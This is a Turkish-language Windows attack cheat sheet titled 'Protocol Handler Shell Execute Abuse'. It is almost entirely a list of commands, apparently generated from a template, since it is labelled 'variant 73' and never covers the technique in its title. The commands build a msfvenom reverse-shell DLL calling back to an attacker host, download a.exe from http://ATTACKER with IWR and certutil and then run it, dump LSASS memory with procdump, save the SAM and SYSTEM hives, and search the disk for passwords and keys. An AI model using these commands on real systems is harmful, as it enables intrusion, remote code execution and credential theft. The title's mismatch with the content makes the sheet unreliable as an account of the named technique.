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Protocol Handler Shell Execute Abuse

windows privesc

Protocol Handler Shell Execute Abuse Windows privesc, credential veya yanal hareket notudur. Token/servis/DLL/AD yüzeyini haritalayıp SYSTEM veya domain etkisi doğrula.

  1. whoami /all, priv, UAC bütünlüğü ve AV durumunu kilitle.

  2. Protocol Handler Shell Execute Abuse için servis/DLL/token/AD hipotezini enum ile destekle.

  3. Yükseltme veya lateral PoC’yi çalıştırıp etkiyi kanıtla.

  4. LSASS/SAM/DPAPI veya domain loot paketle.

Protocol Handler Shell Execute Abuse Windows saldırı notudur. Önce token, bütünlük seviyesi, AV ve yerel grup haritasını çıkar.

Terminal window
whoami /all
Terminal window
systeminfo
Terminal window
whoami /priv
Terminal window
net user; net localgroup administrators
Terminal window
hostname & ipconfig /all
Terminal window
Get-LocalGroupMember Administrators -ErrorAction SilentlyContinue
Terminal window
Get-MpComputerStatus | Select AMServiceEnabled,RealTimeProtectionEnabled
Terminal window
netstat -ano
Terminal window
Get-Service | ? Status -eq Running | Select Name,DisplayName

Eksik DLL, yazılabilir PATH, COM InprocServer32 ve MSI custom action yükseltme üretir.

Terminal window
Get-Process | Select-Object Name,Path | Format-Table -AutoSize
Terminal window
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Terminal window
Get-ItemProperty HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Terminal window
Get-CimInstance Win32_StartupCommand | Select Name,Command,Location
Terminal window
reg query HKCU\Software\Classes\CLSID /s 2>$null | Select-String InprocServer32
Terminal window
procmon /AcceptEula /Quiet /Minimized # NAME NOT FOUND / PATH NOT FOUND
Terminal window
accesschk.exe /accepteula -accepteula -dquw users C:\
Terminal window
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f dll -o evil.dll
Terminal window
winPEASx64.exe quiet
Terminal window
accesschk.exe /accepteula -uwcqv users *
Terminal window
Import-Module .\PowerUp.ps1; Invoke-AllChecks
Terminal window
Get-ChildItem C:\ -Recurse -Include *.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String -Pattern 'password|pwd|connectionstring' | Select -First 30
Terminal window
dir C:\Users\Administrator\Desktop
Terminal window
dir C:\Users\*\Documents,C:\Users\*\Desktop -ErrorAction SilentlyContinue
Terminal window
Get-ChildItem -Force C:\ -Include *.kdbx,*.pfx,*.key -Recurse -ErrorAction SilentlyContinue | Select -First 30
Terminal window
procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp
Terminal window
reg save HKLM\SAM C:\temp\sam.save & reg save HKLM\SYSTEM C:\temp\sys.save
Terminal window
# Protocol Handler Shell Execute Abuse — varyant 73
Terminal window
Get-ChildItem C:\Users -Force | Format-Table Name,Mode
Terminal window
Get-ScheduledTask | ? State -eq Ready | Select TaskName,TaskPath
Terminal window
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\* | ? ImagePath -match ' ' | Select PSChildName,ImagePath
Terminal window
findstr /si password *.xml *.ini *.txt *.config 2>$null | Select -First 20
Terminal window
Get-Acl C:\ProgramData | Format-List
Terminal window
qwinsta; quser
Terminal window
wmic product get name,version
Terminal window
dir /a C:\ProgramData\Microsoft\Windows\Start\ Menu\Programs\Startup
Terminal window
cmdkey /list
Terminal window
IWR -Uri http://ATTACKER/a.exe -OutFile C:\Users\Public\a.exe
Terminal window
certutil -urlcache -split -f http://ATTACKER/a.exe C:\Users\Public\a.exe
Terminal window
Start-Process C:\Users\Public\a.exe
[ ] whoami /priv ve gruplar alındı
[ ] Servis/DLL/registry/token yüzeyi tarandı
[ ] Privesc veya lateral PoC doğrulandı
[ ] Credential dump / loot paketlendi
[ ] Sonraki pivot not edildi

Protocol Handler Shell Execute Abuse sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.